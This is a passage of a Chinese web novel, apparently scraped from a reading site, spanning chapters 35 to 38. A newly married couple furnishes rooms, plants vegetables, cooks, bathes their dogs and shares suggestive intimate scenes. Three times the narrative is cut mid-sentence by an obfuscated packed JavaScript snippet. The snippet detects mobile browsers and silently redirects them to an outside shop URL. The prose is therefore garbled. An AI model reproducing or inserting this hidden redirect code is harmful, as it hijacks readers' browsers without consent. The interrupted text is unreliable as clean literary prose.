向园也知道心疼人的,她虽然跟着他跑,但重活累活都是他在做,肯定更累一点。 原耕耘不累,推她去洗手洗脸,“你不是想看西洋画吗,去屋里等我,一会儿给你看。” 其实那画就在床头柜子的抽屉里放着,她都没想起来自己找找。 向园只好进屋。 她不往床上去,今天跑了一晌,衣裳在外面沾了灰尘,她得换个衣裳再去床上睡。 原耕耘很快也洗漱好进来。 向园跟他商量,“耕耘哥哥,我们把外头架着的竹床搬进来歇晌用吧,不然中午还要换衣裳,太麻烦了。” 原耕耘这屋子进深两丈一,阔一丈二,中间有个隔断,隔成内外两间。 外间里只靠墙放了一张条案,中间是一张书桌和一把椅子。 内间就是他们住的这间,一张架子床,床头一个小柜,旁边是妆台——成亲前原耕耘买的,给向园梳妆用。床尾放着齐床宽的五斗方柜,墙角处是衣柜和向园的两口嫁妆箱子。 箱子对面的墙角放着浴桶,衣架在浴桶之后,作为遮挡。 如果放竹床的话,只能放到架子床对面、妆台和衣架逼出的角落处了。 原耕耘稍一思索,明白她的意思,“要不,我们在后头草堂里歇晌?” 虽然都是茅屋,但茅屋和茅屋也是不一样的。 原耕耘老爹年轻时也做过大官,后来辞官回乡做了个员外,他选隐居之处,建养老之所,当然不可能含糊。 虽是槿篱茅舍,茅草下头可都藏着瓦片的,墙体以木为主,下侧是砖砌的短墙外头嵌了木板竹皮,上侧是连扇槛窗。 这院子地方大,茅屋共有三楹。 前头一楹,就是他们现在住的这处,也是原耕耘他们的主要活动空间。 一共四间房,正中两间相互连通,一间是堂屋,堂屋连着的东间是樊云英住处,这两间房进深浅,只有一丈二尺深。 东西两间相对称,屋子进深深一点,内外隔开,朝庭院开门。 西边这间是原耕耘和向园现在住的这间。 东边原本是一间灶房,屋里隔出一角存放粮食,灶洞通着樊云英住的屋子,所以这灶房也只是冬天冷的时候用。 冬天之外的季节,他们就在院子里的棚子底下生火做饭,既透气又凉快。 中间一楹,跟前头四间对齐,不过只隔成两间,搭着东边一道走廊延伸到前头一楹来,通向院子里的一个凉亭,这样,前后两楹也算连通起来了。 后头一楹是三间,都是矮墙大窗,四面透风,没有门。 这一楹就是真正的茅舍了,屋顶只有稻草,没有偷藏瓦片,墙是木柱和木板,没有砖。 原老爹管这里叫琴房,此处也是他的住所。 风雨飘摇,屋顶早就开始漏雨,原耕耘把桌椅家具搬到前头去,又把屋顶修补了一下,短暂存储粮食用。 原耕耘说的草堂就是中间这一楹的两间,原本是个书房。 他拉着向园过去看。 这屋子空置着,除了摆放一些家具外,没有别的,收拾起来也容易。 而且旁边有一株高大的梨树,延展如伞的冠盖撑开,遮住大半房顶,此时树上开满白色小花,只有星星点点的嫩绿色叶芽。 再等半个月,进入夏天,梨花凋零,树枝长出叶子,一定凉快。 更何况窗外还有几簇茂盛的芭蕉,风掠过,空气都变得沁凉。 成亲前,原耕耘就想把这两间打扫了做新房的,只是时间紧,就没来得及弄。 “抽空收拾出来,热的时候就住这儿。” 向园也觉得好,自告奋勇,“我来收拾吧!” 屋里有家具,就不用挪床搬凳了,她只要打水清扫干净,铺上草苫子和凉席就好。这点活儿,根本不在话下。 原耕耘没说好也没说不好,他心里存着别的关紧事,拉着向园回屋,拴上门,同她一起看画儿。 向园想看西洋画,原耕耘就露个封皮给她看,这画上人物与他们面貌不大相同,且封皮一页就颇为大胆,他觉得向园很可能看个封皮就不想看里头的内容了。 然而预测有误,向园没有不好意思,这画也只是大胆,其实并不露骨,最亲密的动作是亲吻,衣服虽少,重点部位都有遮挡的。 向园很好意思,一边看一边大惊小怪,“哇,西洋人竟然长这样啊!” 她没见过真的西洋人,但画上洋人的头发卷卷的,明明是一样的构造,但眼睛、鼻子乃至五官和整个身形,都和他们不大一样。 原耕耘也没见过西洋人,他觉得这画虽然画的西洋人,但这画可能不是西洋人画的。 五里不同风,十里不同俗,更别说远隔千山万水,得漂洋过海才能去到的另一边了。 那边有没有避火图这个东西都不好说,更别说以他们为原本的画册了,他猜测这画很有可能是那个书生画的。 向园往后翻了一页,继续惊讶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16324106|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇,他们的房子、家具竟然和咱们的一样啊!” 她觉得奇怪,“我看他们的衣服、发髻跟咱们不一样,还以为他们那边的屋子、摆设和生活习惯跟咱们都不一样呢。” 原耕耘:“你没错,这画错了,画这画的人可能见过西洋人,但应该没去过西洋。” “这样啊!”向园又翻了几页,“他们那里的女子长得真漂亮。” 男人就很一般了,个子瘦瘦小小,留着一圈小胡子,头发也不好好梳,看着有点邋遢。相对来说,女子虽然也散着头发,但表情柔美,眼神深邃,风韵十足。 原耕耘不想叫她误解,道:“画上的人可能不是来自一个地方。” 这才是这画最大的问题所在。 原耕耘没见过西洋人,但他很小的时候,见过来自遥远内陆国度的商人。很明显,画上的男子来自遥远内陆国度,画上的女子来自海洋另一侧。 “还能这样?”向园眼睛更亮了,“也不知道他们怎么认识的?你说多奇妙,他们一个来自这里,一个来自那里,却同时来到咱们这儿,遇见对方还和对方成亲了,缘分真是妙不可言!” 她甚至把这当成话本子看,都不觉得是画画的人画错了。 原耕耘:“……” “向园!” “嗯?” “不看了好不好?” 向园掂起书瞅瞅,“就剩几页了,我很快翻完。” 然而下一页,就让她大开眼界。 “他们在干什么?”向园觉得自己的眼睛受到了污染,山泉水都洗不干净那种。 她再也不嫌弃原耕耘对她那样了,比起这种的,她的耕耘哥哥再好不过了。 原耕耘:“……” 就不该让她看的。 他合上册子,“这画不好,画画的人什么都不懂,瞎胡画的,你忘掉它。” 他把册子扔到床底下,抱着向园滚了一圈,问她:“你是不是从来不会怀疑别人?” 向园觉得不是,她要是不会怀疑,根本不可能让阿文跟踪大舅大妗子的。 原耕耘觉得那叫敏锐,叫对危险的感知,不叫怀疑,可是向园却长着一副很容易相信别人的面庞,当然配套的脑子和性情也显出几分盲目轻信于人的样子。 “那天晚上,你是不是想下来给我开门?”他说的是跟原丰收和梅大舅谈判晚归的那一天。 向园靠在他胸前点头,“你为我奔波嘛,我有点担心。” “担心我?” “嗯,”向园稍微仰起头看他,“我和娘等了很久,你都没回来,我很害怕,我怕你大哥欺负你,怕我舅舅反咬你一口,还怕天晚了你要走夜路,会遇到危险。” “向园!”原耕耘心尖都叫她说得发颤,他倾过去,直直盯着她。 “嗯?”向园睁大眼睛看回来,眼神纯澈清亮,像两汪清潭,要把原耕耘吸进去。 “向园,宝贝儿,你亲我,这样亲!” 原耕耘第一次用有别于“向园”二字的称呼,以亲昵的,不舍的,怜爱的,娇宠的语气,这样说话。 向园叫他喊得脸皮儿都红了,她微微仰头,噘着嘴照原耕耘唇上啄了一下,如蜻蜓点水,稍纵即逝。 原耕耘喉结滚动,低头含住她如橙色蔷薇般红润的唇瓣。 吻密密麻麻落下,从唇角到锁骨,脊背到肋下,膝盖到脚腕……这些,不过是一场盛大旅途中,旅者行经的几处美好,而让人流连的好风景,数不胜数。 36. 第 36 章 向园这一觉睡得很舒服,醒来的时候,身上也很清爽。 一定是耕耘哥哥帮她擦洗过了,她想着,伸了个懒腰,起床推开门。 二黄守在门口。 “耕耘哥哥?”向园摸摸狗头,轻轻喊了一声。 没人应答,只有木槿花篱间传来的蜜蜂嗡嗡声,风吹蕉叶声,和掩映在高树上,黄鹂、布谷和不知名小鸟的叫声。 二黄呜呜叫着,扭着屁股推她往隔壁去。 “耕耘哥哥在隔壁?”向园顺了顺二黄背上的毛。 虽然见天游泳,但二黄的毛有些粗硬,大黑和三花都开始换毛了,二黄背上的毛依旧厚实。 向园想着回头给它好好洗一洗,搓一搓。 二黄又呜呜叫了一声。 向园知道自己猜对了,二黄也不扭屁股推她了。 她洗了把脸,漱过口,带着二黄往外走。 三花在水塘边乘凉,大黑还在望乌龟,二黄颠颠跑过去,加入它们的队伍。 大门开着,向园往后院去。 原耕耘刚把菜地开完,拿铁耙耧过土。 耧过一遍,就能把大块的土疙瘩弄到地头去,铁锹拍散,再推拉一遍,这土就很松散了。 “醒了?”他眉眼含笑,往这边走了几步迎她。 她在门外跟仨狗打招呼时,他就听见声音了。 “嗯。”向园心里甜甜的,看着他笑,“耕耘哥哥,这么快你就翻完了?” “没多大地方。”原耕耘拉她站到芭蕉树底下。 向园给他倒了一杯水,原耕耘喂她喝过一口,才转过杯子自己喝。 “耕耘哥哥,是不是该栽苗了,你挖坑吧,我来栽。”向园撸起袖子。 “你先坐着歇会儿,我挖好沟喊你。”原耕耘又捞起锄头。 这个不费工夫,半刻钟,一道道深浅不一的垄沟就挖好了。 菜地有两块。 挨着荼蘼蔷薇花架的这块大一些,长四丈,宽一丈五,算起来差不多有一分地大小。 花架之前原耕耘已经重新砍了竹竿又支起来了,跟菜地特意隔出六尺的距离,这是怕花扎根深,把地力都耗竭了,菜长得不好。 还有一小块在金银花棚和废弃的杂物房之间,这块地只有半分大小,四四方方的,北边靠墙。 原耕耘和向园商量,方块地就从东西方向开垄沟,种黄瓜、尖椒、卷心菜、茼蒿和芫荽,高低错落,谁也不挡谁的光。 长溜地就南北方向开垄沟。茄子、番茄都需要搭架子,但是不会长得太高,豆角需要搭高架子,就种最西头,往东依次种茄子、番茄、朝天椒和各种叶菜。 至于丝瓜、葫芦、南瓜、冬瓜这些,这些叶子往往长得茂盛,一旦长起来就要铺开一大片,就不往菜地种了。如今只在边边角落各撒一窝种子,等出苗了,直接移栽到院子外头的斜坡上,一样栽个几棵,结出来的菜就足够他们吃了。 两人一规划,再挖垄沟就清晰明了许多。 茄子、辣椒和番茄需要深栽,其他的就浅种。各种叶菜直接撒,撒完覆上一层薄土就行,只需要注意做好菜畦之间的分隔,别混到一起去。 原耕耘没穿鞋,向园也褪了鞋袜,撩起裙边和裤腿踩进泥土里。 黑色泥土软软的,凉凉的,没下脚的时候看着脏,踩进去还挺舒服,让人踩了一下还想再踩一下。这就跟踩小石涧里的水和涨水时在漫水桥上踩水一样,像游戏,一旦开始就舍不得停下。 向园踩了几下,蹲下去,原耕耘扒一个坑,她放一棵苗儿进去,他扒下一个坑的时候,她顺手就把土填上,这样一会儿就可以直接浇水。 种的时候,两人都数着。 黄瓜种了两排,大概是二十个坑,每个坑里多撒几颗种子,以防哪颗种子活力不够,长不出苗来。种到最后,向园手里还剩下几颗,原耕耘估摸着,在边边头的位置又刨了一个坑,让向园把种子撒进去。 尖椒苗儿一大捆,有三四十棵,他们栽了三垄,还没种完。 向园手里还有四五棵苗的样子,她道:“这几棵就种那院吧,看看在菜园边边角落,随便刨几个坑,栽进去,不想跑来摘菜的时候顺手就摘了。” “好。”原耕耘面上露出柔和的笑意,“等秋天那一季,就把那边的地腾出来种菜,这边种土豆、红薯、芋头这些。” “嗯嗯。”向园点头。 黄瓜和尖椒种完,也只占了不到三分之一的位置,剩下的就勾成四畦。 最大的一畦种卷心菜,这个长大了一蓬一蓬的占地方,卷心菜还可以用来做梅干菜,很好吃,可以多种一点。 还有一畦不大不小,用来种胡萝卜。胡萝卜也是撒种子,要是长得稠,等出苗了,再往别处移栽。 还剩两畦一尺见方的地,就用来种茼蒿和芫荽,这两样只能鲜吃,长得也密,稍稍种一点边角地,就吃不完。 开完方块地,就剩那一分长溜地了。 长豆角都很能结,种两排就足够吃,还能晒干豆角、腌酸豆角。茄子要多种一些,夏天主要就是这个菜,还要多留一些晒茄子干,他们种了五溜儿。番茄苗儿一共是二十六棵,种了南北纵横的三溜儿。 朝天椒是要晒干辣椒的,苗儿多,但是比起要打架子的其他菜,间距不需要太宽,一棵挨一棵种就成,种六排也没有其他菜种两排三排占的地方大。 剩下的各种叶菜还是撒,芹菜和瓮菜也是夏天常吃的菜,这边种了两个角落,过去那边再少种一些,随时吃随时掐。 种子都种完了,还剩下一截儿地头,原耕耘又往西开了一点。 “我把剩下那些芋头种拿来,也种在这儿。”他道。 芋头好种,也耐存放。温度合适,就不怎么挑时候,也不挑地。原耕耘先前在东边种过一片,还剩一些种子,埋得时间久,吃着不好吃,这会儿不种上就糟蹋了,倒不如种在这里,正好能把这块地种完,既不浪费种子,也不荒废了地。 那边油菜籽收完,也就一个月,等着夏末种秋菜,这边地就慢慢腾出来,专门种红薯土豆或者种常用的药材,以后再摘菜就不用跑到这院来,能少走一段路。 等全部种完,日头都到山头了。 原耕耘浇水,向园把二黄喊来,要给它洗澡,大黑和三花过来围观。 向园干脆抓了一大把泡泡果,在盆里搓出泡沫。既然要洗,不好厚此薄彼,就都洗吧,但先跟二黄商量的,就还是把二黄排第一个。 二黄的毛厚实,容易藏灰,向园把泡泡抹上去,搓了一遍,水都搓黑了,泡泡也不明显。 搓第二遍的时候,就能明显感觉到洗干净了,黄色的长毛贴在身上,放一点点泡沫,随便搓搓,就能搓出更多泡泡来。不像刚刚,放再多也像是被二黄的毛吸收了一样,怎么搓都是干巴巴的。 二黄是个乖宝宝,洗完绕到远处才开始扑棱,狗躯一抖,身上粘着的水珠顺势甩脱,二黄站在夕阳下晾毛。 大黑就不行,洗澡一点也不老实,不是要转身,就是要摇尾巴,还要汪汪叫,不凶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他给三花搓毛,搓过这一遍就彻底干净了,三花变得更加眉清目秀。 两人把剩下的尾巴收拾好,往那院去。 “耕耘哥哥,先别锁门,我折个芭蕉叶把菜苗盖一下。”出门的时候,向园忽然想起这茬。 这几天日头大,又连着半个月没下雨,虽然刚浇过,但明天太阳一出来,恐怕就要把苗晒蔫。 他们明天一早还要去赶圩,只怕来不及过来这边照看,芭蕉叶稍微遮挡一下,明天晚上再浇一遍水,就不怕苗枯死了。 原耕耘想想也是,又是一番忙乱,等回到隔壁时,太阳已经落山。 向园说要做香椿酱,这会儿就不算早。 她一回来就忙着切香椿碎,切辣椒,至于晚饭,简单煮一锅面条吃就成。 面条是先前樊云英在这儿的时候,擀好晒干的,为的就是原耕耘回来晚了,能随时煮一碗面充饥,这个时候正好派上用场。 香椿酱要工夫熬,得把水汽都熬干了,酱才放得住,吃起来也香。 后锅煮面,前头大锅熬香椿酱,面煮好,添一把柴火让香椿酱继续滚,他们先去吃饭。 这会儿,香椿酱虽还没熬好,但香味是出来了的,向园就把这个当臊子,一碗面上浇了一勺。 还有晌午的香椿叶炒鸡蛋,没吃完,她剁碎拌进面条里。 再加些葱末,拌一拌,居然还挺好吃。 原耕耘吃了三碗,向园吃了一碗,饱了,但又添了半碗,这个味道太香太鲜了,吃饱了也还想吃,吃完整个人都撑得不想动弹。 原耕耘喂过狗子,拉着向园绕着院子转圈消食。 他特意控制着,本来是想不要吃太饱,晚上早点回房,再跟她看那本花事了,两个人亲热一番就好好歇觉。 结果他没吃撑,她吃撑了。 37. 第 37 章 向园不知道自己吃撑,躲过一场让她心惊的情.事。 她跟原耕耘讲闲话,“耕耘哥哥,明天早上你想吃什么?” 原耕耘指着大梨树,“明天给你系一架秋千。” 两人同时出声。 向园先笑,“好啊,我都很多年没坐过秋千了。” 她印象中,自己应该是坐过秋千的,但是又想不起来具体是什么时候,在哪个地方,只记得有欢声笑语,还有爹娘的喊声:“慢点,慢点,别飞那么高!” 应当很久远了。 原耕耘摸摸她的脸,“明天回来就架。” 树下有个凳子,是晌午搬出来的,他坐下,把向园抱在腿上,亲吻她的嘴角,又回她的话,“吃什么都好,你做的,我都喜欢。” 以前她娘不在家的时候,他都不怎么吃朝食,若是饿了随便吃点什么垫巴垫巴,等打到猎物直接烤猎物吃。反倒是向园回来之后,他朝食一餐也没落下过。 向园心思很巧,她做的东西都很好吃,原耕耘不挑。 向园勾住她的脖子,跟他贴贴蹭蹭,“那我们做红薯粑粑吃吧。” 宴席上的大烩菜需要用粉条,去年收的红薯还剩下一些,原耕耘又去村里别家买了几筐,一起拉到草市桥,换了三十来斤粉条和几斤红薯粉。 草市桥有一家铺子,专门卖粉条、粉皮这些红薯制品和粉丝、米粉等。 粉条可以拿钱买,也可以拿红薯去换。 拿钱买是十二文一斤,用红薯换,百斤红薯换七斤粉条。 红薯刚下来的时候,差不多就是六七厘一斤。村子里但凡有地的人家,都要种个一亩两亩红薯,要吃粉条,谁也不会想着拿钱去买,能换的都用红薯换。 米粉就比粉条便宜一些,通常是六文钱一斤。因为大米做成米粉损耗很少,一斤米十六两重,差不多能出十五两干米粉。 说起吃的,向园可有精神了,她坐直身子,滔滔不绝。 “一碗红薯粉,兑一碗水,一个鸡蛋,就能煎出好几张饼子,吃起来又软又弹,多煎一会儿,表皮煎得又焦又酥,嚼着吃特别香。 “我听我外婆说,南方有人管红薯叫苕,咱们用红薯粉做煎饼,他们那里做苕皮。 “苕皮煎得薄薄一层,里头裹上小葱碎、芫荽末、酸豆角、酸萝卜之类的小菜卷起来,再刷一层辣椒油,可好吃了。 “不过听说他们煎好苕皮还要用炭火烤一道,再涂酱,这样吃,最外一层是焦的,中间是软的,内里的馅儿是脆的,吃着又酸又辣,滋滋冒油,还不腻,跟咱们常吃的煎饼是不一样的味道。” 向园觉得自己也可以学学做,她给原耕耘画饼,“等我琢磨琢磨,学会了做给你吃。” 她决定明天早上就把红薯粑粑煎得薄一点,先卷着香椿酱吃个试试,好吃了再继续改进。 原耕耘闷笑,“好,我等着!” 他把下巴支在向园肩膀上,用实际行动支持她,“摊饼子得用鏊子吧,咱们明天顺道去铁匠铺看看,有没有平底浅锅。” “好啊好啊!”向园很高兴,“那咱们还可以做水煎包,煎饺,还可以煎别的东西。明天去看看,要是有的话,一定要挑一个大的,好用的。” 他们说了会儿话,那香椿酱的香味慢慢变得浓郁。 “快好了吧!”向园从原耕耘腿上跳下来,“我去瞧瞧。” 一掀锅盖,那香味更加无孔不入起来,向园拎着锅铲翻了一下,上头浮起一层油,小火还在咕嘟着,看着已经没有水分了。 “这就可以了。” 听她这样说,原耕耘把早先洗干净、晾在外头的几个小罐子拿进来,向园往里头盛酱。 一篮子椿芽,熬出来的酱盛了五个小罐子,还余下一勺的量,向园直接盛碗里,明天吃。 锅也没刷,锅底没有别的,全是油,向园觉得洗了太浪费了,她添了两瓢水,决定明天早上还可以煮个米粉吃。 收拾好,两人去连通火炕的灶房洗澡,灶棚这边的锅一直占着,原耕耘早就在屋里那个灶台烧好热水。 水还热着,兑凉水添到浴盆里,两人一起洗。 虽然用手感受过,但是第一次赤.条条呈现在自己眼前,向园依旧觉得很有冲击力。 他们两个一点都不一样,她慌忙闭上眼睛。 原耕耘叫她逗笑,他紧紧环抱着她,凑近耳边轻声问:“你是不敢看还是不好意思看?” 向园悄悄睁开一只眼睛觑他,“我们都成亲了,你是我男人,我是你媳妇儿,我才不会不好意思。” “那就是不敢了?”原耕耘捉她的手。 向园掩耳盗铃,明明都挨上去了,又把睁开的一只眼睛闭上,假装自己没有做坏事。 “我没有不敢,我们俩不一样,我们跟小木人也不一样。”她道。 “什么小木人?” 他们只有压箱底儿的小陶人,难道向园背着他偷偷看了? 原耕耘垂眸,被红霞晕染的秾艳面庞撞入眼帘,两抹绯色趁暗夜缠到枝头,尖尖处悬着的山茶花便颤巍巍舒展花瓣。 那娇花丝毫不知,还在自顾自低语,说着和盛开全然无关的话,“就是针灸木人像啊,我看过,人和木人区别好大。” 那是收拾二楼书房时收拾出来的,向园没事儿会对着小木人温习腧穴之道。 原耕耘轻笑出声,“当然有区别,要是人和木人一样,那就没什么意思了。” 那木人他也见过,只是此刻不是谈论木人的好时机。 向园的手太小了,又小又软,指尖的薄茧对上他的都显得细嫩起来,他攥着她的手,依着自己的感受教她用力。 向园想起晌午看的那画,就觉得他们两人这样一点都不羞了。 “耕耘哥哥,这样你舒服吗?”她扭头问原耕耘。 这是原耕耘经常问她的问题,却是第一次被她这样问。 他深吸一口气,放缓了动作,嗓音沉沉答她的话,“舒服,当然舒服。” 他亲吻她嫣红的脸颊,“哪怕你不这么做,你离我近一点,我就很舒服了。” 他啄吻她的耳廓诱哄,“向园,你想不想让耕耘哥哥再舒服一点?” 向园扭过身,把整个上身都贴上他的,两人脖颈相交,如鸳鸯、如天鹅。 “这样吗?”她问。 原耕耘松开手,双臂伸展又收束,紧紧箍住她,“向园,不够,还要再近一点。”他用力亲吻她。 和她在一起的很多时刻,神魂的震颤是大于身体的愉悦的,明明身体已经达到一个顶点,可她一句话、一个字带上她特有的语气,就会让人产生要继续往更高峰攀登的渴望。 向园开始紧张,“我们不要那样。” 她不想像画上那样做,那不是正常人该做的。 “嗯,不会,”原耕耘平息心神,轻轻吻她,“向园,你看过医书,应该知道,夫妻两个在一起,是会生小孩的。生小孩就是他们离得很近很近,你中有我,我中有你,时间久了,两人的血肉就会融合成一个孩子,他在母亲肚子里慢慢长大,直到满十个月,呱呱落地。” 向园知道,她和耕耘哥哥这样,可能也要生孩子,生孩子很痛,可能还会死,可是这好像是每一个女人都在走的路,无论她们害不害怕。 感觉到她的颤抖,原耕耘摸摸她的脸庞,轻声道:“向园,不怕。向园,我们现在做的这些,是不会有小孩儿的。” “嗯?真的?”向园先是惊诧,惊诧过后就是怀疑。 书上讲,男女构精,万物化生,阴阳交感,故有子。① 她知道人如果心肾不足,气血两虚,是不容易有孩子的,男人女人都是如此。 耕耘哥哥没有这方面的毛病,她身体也很好,如果这样两人都不能有孩子,那孩子到底怎么来的呢? 如何交感,这的确是个很难的问题。 向园觉得,怪不得要那么多人去庙里求子,因为书上根本就说不清楚,既没有说如何交感,也没有说什么是交感。 看书的尚且看不明白,更何况很多人没有书看呢。 可奇怪就奇怪在,很多没看过书的,反倒很会生孩子。 像林阿婆,就生了好几个孩子,只是孩子都没养下来,养活的只有阿文爹一个。 还有黄穗安、黄穗宁的爹娘,应该也是很会生孩子的,他们生了四个。 周婶子应当也会,毕竟周二仓兄弟姐妹也是四个。 可见生孩子这种事情,更多还是要靠神佛吧。 “那我们要怎么办?”向园抱住原耕耘问。 如果这样不会有孩子的话,那多抱一抱也……无妨吧? 原耕耘轻笑,“一个小孩儿要幸福,是因为他的父母相爱,他们期待欢迎孩子的到来,他们做好了迎接新生命的准备。 “可是生孩子会很痛,怀孩子会很累,头一次做生孩子的事也会痛。 “很多女子,最开始是没有做好这样的准备的,只是没人在乎她们的诉求,所有的声音都在说,年纪到了,该嫁人了,一旦嫁了人,孕育子嗣就成了她们的责任,所有人都在鞭策她们,她们也就觉得这是自己应该做的。 “向园,你答应嫁给我的时候,就爱我吗?就期盼着有一天要和我生儿育女吗?就做好了和我一起迎接新生命的准备吗?” 向园摇头又点头,“我知道,你会照顾好我,也会照顾好我们的孩子。” 至于准备,当然是没有的,她也在默认,成了亲,自然而然就会有孩子,他们的孩子,自然而然会是可爱的。 向园的直觉一向很准,她觉得,原耕耘会是个好丈夫,好爹爹,她也会尽力做一个好妻子,好娘亲。 她信任他,喜欢他,愿意和他生儿育女,白头偕老。 “我喜欢你。” 因为不知道什么是爱,所以说的是喜欢,而不是爱,爱对她来说,还太深奥了,不是不会,而是不认识,不知道怎样才算爱。 原耕耘爱怜地亲吻她的额头。 “向园,生孩子不只我们做的这些事,还有很重要的一步,我们还没做,不迈出那一步,是不会有孩子的。 “你现在没做好准备,不知道那是怎么一回事儿,我们就先不做。 “等你习惯我给你的感受,等你觉得做这些事是享受、是愉悦,等你想成为一个母亲,也想让我成为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16349154|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个父亲的时候,我们再学习做那一步,好不好?” 这样也可以吗? 向园第一次见到,原来有人成亲,不是为了延续子嗣,不是为了成为父亲。 耕耘哥哥意在告诉她,成亲后,他最重要的角色,是她的丈夫,而不是她孩子的父亲。 “耕耘哥哥,你真好!”向园趴在他怀里,马上就要报答他,“你觉得舒服,我还给你弄。” 她伸出手。 可是水快凉了。 原耕耘握住她的腕子,金镯子她早褪下来了,包在帕子里藏起来。 “先回屋,不然会着凉。” 水没有倒掉,他裹着她,抱在怀里去了卧房,把她安置在床上。 “还不困?”回到床上,原耕耘先问向园。 向园摇头,下午睡得太饱足,她这会儿还很精神。 原耕耘拿花事了给她看。 “哇!”向园又惊叹起来,“原来这名字叫花事了,这个画真好看。” 她家后院也有荼蘼,开在竹篱上别样热闹。 可画在画上,又是另一种美,依旧热闹,但气氛却是清冷的,可能是因为没有蝴蝶和蜜蜂的缘故? 色调也暗,暗青灰色的底纸,女子在光影里,男子在阴影里。两相对比,有种朦朦胧胧的美感。 但晌午那幅画受到的冲击有点大,向园一时不敢翻开,怕里头有让她难以接受的内容。 “耕耘哥哥,我们把那西洋画扔掉吧!” 早知道不买它了,也不知二两银子里,那西洋画占了多少钱。 “嗯,已经扔掉了。”原耕耘轻笑,“扔到床底角落里了,回头没有引火柴,可以用这个引火。” 向园不觉得他们有用这个引火的机会,不过她也不吭声了,耕耘哥哥不爱看就好。 这册子原耕耘细细看过,见她不肯翻开,他俯身替她翻页,“咱们就当是话本子看。” 册子是蝴蝶装,铺平左右两页,展开就是一幅画,左上角有小字注解,是诗文,向园不感兴趣,盯着画看。 第一折,白墙内外,两处景致。 梨花树下,书生捧一方绣帕,低眉沉思。 回廊之上,小姐左手抚右鬓,侧头睃望。 “一定是这小姐帕子丢了,被书生捡到。”向园这样猜测。 第二折,书生和小姐相遇。 右侧画上,两人对上眼神。 左侧画上,小姐欲说还羞,书生欲去还留,绣帕搭在梨花枝上,随风轻拂。 “书生都这样吗?” 这样守礼?这样君子?都不敢回头看一眼? 向园觉得怪没意思的。 “看下一页。”原耕耘笑着,又翻了一页。 向园瞪大了眼睛,“他他他,他们怎么这样?” 刚还说书生没意思,这马上就意思过头了。 第三折,书生和小姐花下相会,书生半躺在花丛中,把小姐搂到怀里亲,光天化日之下,两人衣襟都散了。 原耕耘半躺在大红喜被上,也把向园搂到怀里亲。 稍微餍足了,他才停下,合上册子,让向园看封面,“他们早就认识,书生早有预谋,小姐亦有情意……”他跟她讲两人的眼神。 向园仔细看看,好像还真是,“耕耘哥哥,你真聪明。” 原耕耘收下她的夸奖,“要不要继续看?” 向园摇头,“下次再看吧,我们早点睡,明天早点起来。” 起来煮米粉、煎红薯粑粑,然后去赶圩。 原耕耘顺势把书丢一边,支肘在她身侧问:“那还要不要帮我?” 向园觉得自己要对他好一点,既然他觉得舒服,那就让他舒服。 反正圩市要开一整天,晚点也没事。 她想着耕耘哥哥爱干净,就去洗了个手,回来顺便放下床帘,很体贴地问:“你要不要躺下?躺下不会累。” 原耕耘不躺下也不觉得累,但是向园都提了,他就乖乖躺下,任她采折。 头一次不被原耕耘带着行动,向园有些发怵。 这又不像刚刚在浴桶里,都在水底下,根本看不清楚,现在原耕耘的一切都呈现在她眼底,一览无余。 他好像,过于兴奋了。 向园颤巍巍伸出手,还没挨到他的皮肉,就又缩回去。 她磨蹭半天,直到原耕耘侧目看过来,她才趴到他耳朵边问,“耕耘哥哥,你羞不羞?要不我把油灯吹灭?” 原耕耘:“……向园,是你怕羞还是我怕羞?” 他盯着她,像是要把她看穿,“你是不是不会?” 向园低下头,怕他嫌自己笨,又虚心求教,“要不,你再教教我?” “这次,我一定好好学。”她举手保证。 向园以前没把这当成自己该做的事,沉浸其中的时候脑子都空荡荡的,什么都想不起来,自然什么都学不到。 雪白腕子被按入枕间,原耕耘翻身覆了上来,浑厚沙哑的嗓音在向园耳边响起,“你可以不学,只要脑子里想的都是我就行。” 他们有一辈子的时间,可以慢慢来。 他慢慢教,她慢慢懂。 38. 第 38 章 大早上嗦粉过于幸福,向园煎的红薯粑粑也很成功,琢磨着苕皮的做法,她特意把饼摊得很薄,煎到皮焦黄了才盛出来。 抹的是香椿酱,他们现在只有这个,但也足够美味,一抹一卷,配着香椿米粉,吃得又饱足又满足。 向园觉得她可以开个米粉小摊,生意应该也不错。 原耕耘笑而不语,吃过饭,给她重新梳了个发髻,梳成单螺,珠钗只戴一只,戴到发顶,这样就能戴草帽了。 梳得还不赖,毕竟是原耕耘盯着她梳双螺,苦学多日的成果,不说为她增色几分,至少不会减损她的美貌。 向园对着镜子左右瞧瞧,挺满意。 两人背着背筐去赶集。 因为要买鸭崽儿鹅崽儿,向园的背筐里垫了许多稻草。 原耕耘的背筐里是山药,早说要卖,这段时间都给耽误了。 先前刨出来那一批,送出去不少,又吃了不少,这是新刨出来的,背了有七十来斤。 向园总怕他累着,“耕耘哥哥,你累不累,要不要歇歇?” “不累。”这点重量对原耕耘来说不在话下,甚至再来这么多,他挑着走也轻而易举,不过太阳快升起来了,他便催促道:“我们走快点。” 向园点头,原耕耘拉着她的手加快了脚步。 早晨的圩市和傍晚的圩市是不一样的感觉。 向园看到许多卖菜的,那菜上还都沾着露珠,看着很新鲜。 “耕耘哥哥,你看,这时候竟然还有卖莲藕的!” 